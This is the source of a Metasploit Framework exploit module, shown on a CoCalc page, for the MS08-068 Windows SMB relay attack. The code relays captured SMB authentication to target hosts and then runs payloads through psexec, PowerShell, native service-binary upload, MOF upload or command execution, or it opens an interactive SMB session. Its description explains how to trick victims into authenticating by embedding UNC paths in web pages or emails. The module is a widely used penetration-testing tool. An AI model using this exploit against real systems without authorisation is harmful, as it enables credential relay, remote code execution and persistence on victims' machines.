CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/smb/smb_relay.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
=begin
7
Windows XP systems that are not part of a domain default to treating all
8
network logons as if they were Guest. This prevents SMB relay attacks from
9
gaining administrative access to these systems. This setting can be found
10
under:
11
12
Local Security Settings >
13
Local Policies >
14
Security Options >
15
Network Access: Sharing and security model for local accounts
16
=end
17
18
class MetasploitModule < Msf::Exploit::Remote
19
Rank = ExcellentRanking
20
21
include ::Msf::Exploit::Remote::SMB::RelayServer
22
include ::Msf::Exploit::Remote::SMB::Client::Psexec
23
include ::Msf::Exploit::Powershell
24
include Msf::Exploit::EXE
25
include Msf::Module::HasActions
26
include Msf::Auxiliary::CommandShell
27
28
def initialize(info = {})
29
super(
30
update_info(
31
info,
32
'Name' => 'MS08-068 Microsoft Windows SMB Relay Code Execution',
33
'Description' => %q{
34
This module will relay SMB authentication requests to another
35
host, gaining access to an authenticated SMB session if successful.
36
If the connecting user is an administrator and network logins are
37
allowed to the target machine, this module will execute an arbitrary
38
payload. To exploit this, the target system must try to authenticate
39
to this module. The easiest way to force a SMB authentication attempt
40
is by embedding a UNC path (\SERVER\SHARE) into a web page or
41
email message. When the victim views the web page or email, their
42
system will automatically connect to the server specified in the UNC
43
share (the IP address of the system running this module) and attempt
44
to authenticate. Unfortunately, this
45
module is not able to clean up after itself. The service and payload
46
file listed in the output will need to be manually removed after access
47
has been gained. The service created by this tool uses a randomly chosen
48
name and description, so the services list can become cluttered after
49
repeated exploitation.
50
51
The SMB authentication relay attack was first reported by Sir Dystic on
52
March 31st, 2001 at @lanta.con in Atlanta, Georgia.
53
54
On November 11th 2008 Microsoft released bulletin MS08-068. This bulletin
55
includes a patch which prevents the relaying of challenge keys back to
56
the host which issued them, preventing this exploit from working in
57
the default configuration. It is still possible to set the SMBHOST
58
parameter to a third-party host that the victim is authorized to access,
59
but the "reflection" attack has been effectively broken.
60
61
As of Feb 2022 - this module does not support SMB 1.
62
},
63
'Author' => [
64
'hdm', # Original SMB v1 relay module
65
'juan vazquez', # Original SMB v1 relay module - Add NTLMSSP support
66
'agalway-r7', # Add SMB 2/3 support
67
'alanfoster', # Add SMB 2/3 support
68
'Spencer McIntyre' # Add SMB 2/3 support
69
],
70
'License' => MSF_LICENSE,
71
'Privileged' => true,
72
'DefaultOptions' => {
73
'EXITFUNC' => 'thread'
74
},
75
'Payload' => {
76
'Space' => 2048,
77
'DisableNops' => true,
78
'StackAdjustment' => -3500
79
},
80
'References' => [
81
['CVE', '2008-4037'],
82
['OSVDB', '49736'],
83
['MSB', 'MS08-068'],
84
['URL', 'http://blogs.technet.com/swi/archive/2008/11/11/smb-credential-reflection.aspx'],
85
['URL', 'https://en.wikipedia.org/wiki/SMBRelay'],
86
['URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx']
87
],
88
'Arch' => [ARCH_X86, ARCH_X64],
89
'Platform' => 'win',
90
'Targets' => [
91
[ 'Automatic', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
92
[ 'PowerShell', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
93
[ 'Native upload', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
94
[ 'MOF upload', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
95
[ 'Command', { 'Arch' => [ARCH_CMD] } ]
96
],
97
'Notes' => {
98
'Stability' => [
99
CRASH_SAFE,
100
],
101
'Reliability' => [
102
REPEATABLE_SESSION
103
],
104
'SideEffects' => [
105
ARTIFACTS_ON_DISK,
106
IOC_IN_LOGS,
107
ACCOUNT_LOCKOUTS
108
]
109
},
110
'DisclosureDate' => '2001-03-31',
111
'DefaultTarget' => 0,
112
'Actions' => available_actions,
113
'Stance' => Msf::Exploit::Stance::Passive,
114
'DefaultAction' => 'PSEXEC'
115
)
116
)
117
118
register_options(
119
[
120
OptString.new('SMBSHARE', [false, 'The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share', ''], aliases: ['SHARE'])
121
]
122
)
123
124
register_advanced_options(
125
[
126
OptBool.new('RANDOMIZE_TARGETS', [true, 'Whether the relay targets should be randomized', true]),
127
OptString.new('SERVICE_FILENAME', [false, 'Filename to to be used on target for the service binary', nil]),
128
OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']),
129
OptString.new('SERVICE_STUB_ENCODER', [false, 'Encoder to use around the service registering stub', nil])
130
]
131
)
132
133
deregister_options(
134
'RPORT', 'RHOSTS', 'SMBPass', 'SMBUser', 'CommandShellCleanupCommand', 'AutoVerifySession'
135
)
136
if framework.features.enabled?(Msf::FeatureManager::SMB_SESSION_TYPE)
137
add_info('New in Metasploit 6.4 - The %grnCREATE_SMB_SESSION%clr action within this module can open an interactive session')
138
end
139
end
140
141
def available_actions
142
actions = [
143
['PSEXEC', { 'Description' => 'Use the SMB Connection to run the exploit/windows/psexec module against the relay target' }]
144
]
145
if framework.features.enabled?(Msf::FeatureManager::SMB_SESSION_TYPE)
146
actions << ['CREATE_SMB_SESSION', { 'Description' => 'Do not close the SMB connection after relaying, and instead create an SMB session' }]
147
end
148
149
actions
150
end
151
152
def validate_service_stub_encoder!
153
service_encoder = datastore['SERVICE_STUB_ENCODER']
154
return if service_encoder.nil? || service_encoder.empty?
155
156
encoder = framework.encoders[service_encoder]
157
if encoder.nil?
158
raise Msf::OptionValidateError.new(
159
{
160
'SERVICE_STUB_ENCODER' => "Failed to find encoder #{service_encoder.inspect}"
161
}
162
)
163
end
164
end
165
166
def exploit
167
if datastore['RHOSTS'].present?
168
print_warning('Warning: RHOSTS datastore value has been set which is not supported by this module. Please verify RELAY_TARGETS is set correctly.')
169
end
170
171
case action.name
172
when 'PSEXEC'
173
validate_service_stub_encoder!
174
end
175
super
176
end
177
178
def on_relay_success(relay_connection:, relay_identity:)
179
case action.name
180
when 'PSEXEC'
181
run_psexec(relay_connection)
182
when 'CREATE_SMB_SESSION'
183
begin
184
session_setup(relay_connection)
185
rescue StandardError => e
186
elog('Failed to setup the session', error: e)
187
end
188
end
189
end
190
191
def run_psexec(relay_connection)
192
# The psexec mixins assume a single smb client instance is available, which makes it impossible
193
# to use when there are multiple SMB requests occurring in parallel. Let's create a replicant module,
194
# and set the datastore options and simple smb instance
195
new_mod_instance = replicant
196
new_mod_instance.datastore['RHOST'] = relay_connection.target.ip
197
new_mod_instance.datastore['RPORT'] = relay_connection.target.port
198
# The new module no longer needs a reference to the original smb server, deref it explicitly:
199
new_mod_instance.service.deref
200
new_mod_instance.service = nil
201
# Wrap the ruby_smb connection in a rex-compatible adapter
202
new_mod_instance.simple = ::Rex::Proto::SMB::SimpleClient.new(relay_connection.dispatcher.tcp_socket, client: relay_connection)
203
204
thread_name = "Module(#{refname})(target=#{relay_connection.target.ip}:#{relay_connection.target.port})"
205
framework.threads.spawn(thread_name, false, new_mod_instance) do |mod_instance|
206
mod_instance.exploit_smb_target
207
rescue StandardError => e
208
print_error("Failed running psexec against target #{datastore['RHOST']} - #{e.class} #{e.message}")
209
elog(e)
210
# ensure
211
# # Note: Don't cleanup explicitly, as the shared replicant state leads to payload handlers etc getting closed.
212
# # The parent module will clean these shared resources
213
# mod_instance.cleanup
214
end
215
end
216
217
def relay_targets
218
Msf::Exploit::Remote::SMB::Relay::TargetList.new(
219
:smb,
220
445,
221
datastore['RELAY_TARGETS'],
222
randomize_targets: datastore['RANDOMIZE_TARGETS']
223
)
224
end
225
226
# Called after a successful connection to a relayed host is opened
227
def exploit_smb_target
228
# automatically select an SMB share unless one is explicitly specified
229
if datastore['SMBSHARE'] && !datastore['SMBSHARE'].blank?
230
smbshare = datastore['SMBSHARE']
231
elsif target.name == 'Command'
232
smbshare = 'C$'
233
else
234
smbshare = 'ADMIN$'
235
end
236
237
service_filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
238
service_encoder = datastore['SERVICE_STUB_ENCODER'] || ''
239
240
vprint_status 'Running psexec'
241
case target.name
242
when 'Automatic'
243
if powershell_installed?(smbshare, datastore['PSH_PATH'])
244
print_status('Selecting PowerShell target')
245
execute_powershell_payload
246
else
247
print_status('Selecting native target')
248
native_upload(smbshare, service_filename, service_encoder)
249
end
250
when 'PowerShell'
251
execute_powershell_payload
252
when 'Native upload'
253
native_upload(smbshare, service_filename, service_encoder)
254
when 'MOF upload'
255
mof_upload(smbshare)
256
when 'Command'
257
execute_command_payload(smbshare)
258
end
259
260
handler
261
disconnect
262
end
263
264
# @param [RubySMB::Client] client
265
def session_setup(client)
266
return unless client
267
268
platform = 'windows'
269
270
# Create a new session
271
rstream = client.dispatcher.tcp_socket
272
sess = Msf::Sessions::SMB.new(
273
rstream,
274
{
275
client: client
276
}
277
)
278
ds = {
279
'RHOST' => client.target.ip,
280
'RPORT' => client.target.port
281
}
282
283
s = start_session(self, nil, ds, false, sess.rstream, sess)
284
285
s.platform = platform
286
287
s
288
end
289
290
end
291
292